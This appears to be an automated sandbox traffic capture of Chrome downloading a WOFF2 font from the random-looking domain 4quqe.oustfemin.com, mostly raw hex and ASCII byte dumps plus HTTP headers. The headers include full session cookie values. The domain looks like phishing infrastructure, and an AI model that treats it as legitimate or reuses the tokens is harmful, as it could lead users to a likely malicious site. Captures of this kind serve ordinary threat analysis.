8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: e9 ec bf 1e 69 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 b5 62 c1 82 85 7e f8 a7 d6 f4 ef 1e 66 2f 80 a8 0a 1e d0 47 8a 82 b3 9d 4a 1b 36 b2 79 fe b3 df fa 0e 7a 45 40 54 9c 61 aa 30 5e 55 6c f6 df cf 06 00 fc 53 3a c3 bf 92 2c 03 9e 7d 04 1b 42 ec 52 a7 a8 52 74 7e b7 76 d1 85 00 ba 4c 3a 60 34 c1 49 4b 41 1c e6 bd a7 56 a3 ca b1 b7 78 26 40 a1 1f 8f 68 a8 37 Data Ascii: iD} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xbb~f/GJ6yzE@Ta0^UlS:,}BRRt~vL:`4IKAVx&@h7
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: ee b6 3e d8 2e 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc 4c 15 e0 d4 43 23 d6 51 35 b8 91 3c 4e 8d af 4d f0 9a f0 ff 89 98 49 1e c3 96 a1 ef 1e ef ae 41 39 d4 0e be a1 72 98 1c b4 98 29 ef a4 9e 40 7d 80 28 93 fa a9 ef 70 df d3 54 b5 e2 d5 ba 81 b2 f7 81 f6 10 fa 79 c4 7a c4 26 c4 11 70 a2 46 71 8f 62 7e 37 d0 ca bd 8a d4 e0 c1 fc fb 48 b3 d9 1f 86 2f e5 9b 9b Data Ascii: >.m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R, LC#Q5<NMIA9r)@}(pTyz&pFqb~7H/
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 2a 25 ab 11 e4 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 70 14 1b 9d cf 6b 27 9f a5 fa bd 08 79 02 2c 96 02 20 16 9d 4d 88 68 fb d6 4a 21 21 6d b6 8c 58 80 8a 4a bd a3 a3 79 25 a6 aa 2e 1a 3d c6 77 60 74 91 90 6a 2a 81 e2 98 32 ad 42 a4 cf 75 c9 16 1c 25 3d 79 6f 32 9f 8e cf 45 7e e6 05 e8 4e 24 f2 4f 2c 8e ab 2d 9c 9c 76 49 bb eb d8 5e de eb 78 af d8 0e f9 43 Data Ascii: %D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWRpk'y, MhJ!!mXJy%.=w`tj*2Bu%=yo2E~N$O,-vI^xC
2024-08-23 14:21:55 UTC	79	IN	Data Raw: d3 5e 26 60 bf a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 Data Ascii: ^&`[Ji #(?6==Rr"Z(wa6SuhK&u,epjq#
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c a1 bb 91 79 70 21 64 5b 43 4a bb 5f ce 7f 6a 9e e2 6c 74 bd 98 84 44 03 65 56 43 e1 02 9a f1 01 c9 b2 0e 5a 9a 74 1e 19 d7 2d 04 6b 89 4f 3e 7f eb 62 e6 73 66 69 2d cd a3 e6 3f 27 75 aa 1d f4 11 10 73 fc 42 d2 5a c5 86 43 23 db 5e 68 e7 7a 4b d7 dd 63 72 dd 6d 59 de 57 ba ed 90 63 7c a6 8b 45 e2 fa ee ae 6f c3 10 c6 8a 94 f0 17 68 c9 28 c5 44 e7 f4 b2 6f 91 8f cb 95 36 06 e3 50 4d d9 d9 f9 d8 f3 a1 8e 35 13 69 ad 16 e2 80 12 46 c3 91 04 1e 56 4b 48 c7 05 6e 8c 9f 2b 5f be 51 e3 1f 91 a4 90 e5 33 dd 80 ba d1 09 9a 53 a9 fe a2 1d cd a8 45 Data Ascii: 1;."cdv e0?b'-}9o1yF>geyp!d[CJ_jltDeVCZt-kO>bsfi-?'usBZC#^hzKcrmYWc\|Eoh(Do6PM5iFVKHn+_Q3SE
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b b2 d1 8a eb d4 09 e1 09 bc 2e 7f c6 88 31 51 e6 fa 1c 6a c5 06 7d 66 4a f0 e0 eb c6 48 eb a6 3e de c9 7a 7d 78 4b d7 98 bd e2 c3 08 cd f3 88 6d ff fa 2e f6 41 89 df d6 d2 4a ff 7b f6 01 aa 12 65 af e8 2b 9c 2a 6b b9 21 bb 8c e8 e3 a7 1f ef 6f bf d7 f8 0b 47 b0 c3 71 a6 2e 6c 7f 81 ee 98 c2 d1 a6 7a dd 76 dd d1 70 c9 bf 39 33 37 99 ac 68 8e 8e 20 2c 4f 47 1b 5d 66 6c e6 33 c6 c2 f3 9d 08 76 b3 7a e2 cc 56 e7 99 6e 82 37 f7 2e d3 8a b3 63 eb 79 ef f0 30 52 cf 2b 8e 0d 0c 73 2a 73 2a 3b 9e 33 0e dd 37 bf cc d1 e3 50 94 c1 b7 af bc a0 66 9a Data Ascii: X/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K.1Qj}fJH>z}xKm.AJ{e+k!oGq.lzvp937h ,OG]fl3vzVn7.cy0R+ss*;37Pf
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd 1a 73 5e 9d 9c 39 5d 1e 8c 82 fe 2c 1f ac a6 0c ba fc c5 27 14 94 19 0f 5f 43 a0 42 02 67 1f be 85 af e9 f8 fc a5 c4 0d b4 f6 ff a2 a2 95 1c ec dd 96 1c e3 1d 16 52 27 61 e2 78 29 ad 1d 7e c2 7e d3 02 91 a1 b6 1e d4 a0 32 62 5d 05 eb 60 2f a3 ce 28 2a e3 76 d1 e6 94 8a 9e 84 ca d4 81 95 59 f2 d3 14 a9 29 ba 67 d3 7a 42 a4 6b 91 4a 3a b2 89 41 cf 2e b1 ef 99 ae c6 9e 02 53 34 5d 02 29 12 03 51 7d 36 ef 1b 5c fe 2b 06 ad 0b dc b5 f1 1d 76 c1 92 a5 c2 3a d8 ca ff 27 9c e1 a5 65 07 67 98 18 8b 26 4a 4c 66 f8 50 06 4b 90 7d 14 36 8f 7c 09 38 Data Ascii: v)yHom]l\|U;U?E,rDckb{0s$sQpT$s^9],'_CBgR'ax)~~2b]`/(*vY)gzBkJ:A.S4])Q}6\+v:'eg&JLfPK}6\|8
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d aa f7 6a 94 66 cc 30 31 cf 58 e7 eb 7d 07 9e e7 07 f4 ff dd 72 11 79 f7 17 5f 34 4c 30 6f 52 00 13 2c 5d 6a a1 96 01 ec 65 65 8c c9 a0 60 fb 80 e3 33 a2 57 29 00 94 cf 1c 2c af 0c ea d6 9e 38 04 86 2f cf 6a 38 67 ad fd e2 eb f5 49 f1 24 1f c0 fb 3c e2 91 ad 41 0a dd d8 dc da de ed 78 67 77 6f ff 60 6d 3b 3c b2 37 0b d6 4e c2 93 8f 27 d8 63 05 44 27 a7 11 66 23 d9 92 e6 08 05 a6 78 f2 c9 00 f8 d9 39 bf b8 bc 02 a2 0e 70 1d dd dc 02 dd 37 fe 0e ca 7d 9f 31 3d a3 49 94 c8 96 4c c1 a0 cf ae 69 30 8e 8d 9e 08 3c 20 f1 a8 72 d5 e4 49 22 f7 0c Data Ascii: s~[6&lXvr.*Rwh/k6m]o)U/0aRMjf01X}ry_4L0oR,]jee`3W),8/j8gI$<Axgwo`m;<7N'cD'f#x9p7}1=ILi0< rI"
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 75 81 12 2b 3a af dd 10 60 9b 79 6f a0 89 16 44 eb 3a 5f 22 ef c0 43 4c be cd 4a 39 0e c7 e5 59 da 0b 4e c2 cb e5 0c c1 50 23 94 b7 f3 4e de 25 4a c6 14 ad b2 60 08 6e 56 39 dc aa d3 6a 2d 0f 41 b9 5a df dc ee da de da be da fe 15 9d 13 bc 46 63 60 98 0d 8b 15 9c 87 cd 92 34 67 eb 36 27 78 65 b2 4c 56 6b 35 cf d3 9b ce db eb 34 8f e2 f8 0d b4 ba 2f bb af bc 8c 3c e9 39 db 77 ba ef 4c ff d1 fe 63 fd c7 d7 1d 5c 77 64 45 e6 23 0e 3e 37 f8 e2 7a 9a fb 7a e6 f0 cc d1 99 63 33 c7 67 0d ac c1 bc d3 6c 97 d8 23 75 18 c3 29 db 99 48 93 62 fb 18 Data Ascii: e]{\F:1)ZCf]uO:dOG<)B>"Mkt~du+:`yoD:_"CLJ9YNP#N%J`nV9j-AZFc`4g6'xeLVk54/<9wLc\wdE#>7zzc3gl#u)Hb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49794	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1479	OUT	GET /cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:55 UTC	627	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:55 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5yteMZWhT3jhp8LBHa5%2BQp74pKl8h%2Ba8Cd8UT9N9SCEwZb4pHW5KGrbVzB%2BoZINutbWiey1q96zmn0nC8ls9eWJiom9wKiRNUGPV8c5ztXVz8POnlalxIv7O9oJOXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc073582f6a5f-EWR
2024-08-23 14:21:55 UTC	742	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 34 67 bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 ab 49 eb 90 c9 96 9a 40 45 d9 7e f3 Data Ascii: 4g?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(ReI@E~
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 1c 40 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce 11 23 c7 5d f9 38 5a 60 ce 53 96 94 Data Ascii: @BD0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF#]8Z`S
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 5b 28 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 88 93 25 f6 f6 23 80 28 d3 c5 48 e9 Data Ascii: [(~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L%#(H
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: b4 a6 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c ab b3 f8 99 33 4f d5 ea e1 30 92 c8 Data Ascii: nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b3O0
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 55 50 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 2d a7 bf d7 25 e2 9e 22 d1 b9 d0 54 Data Ascii: UPQpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!-%"T
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 35 60 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b 51 78 30 95 72 f9 41 95 4f 4c 24 d3 Data Ascii: 5`<vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfkQx0rAOL$
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 18 ff 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 bc 94 2b 97 55 20 79 76 b5 92 56 dc Data Ascii: EmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@+U yvV
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 6d 00 aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e e5 eb f8 ee 58 bb 05 4a 4b 4b ff df Data Ascii: mu<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKnXJKK
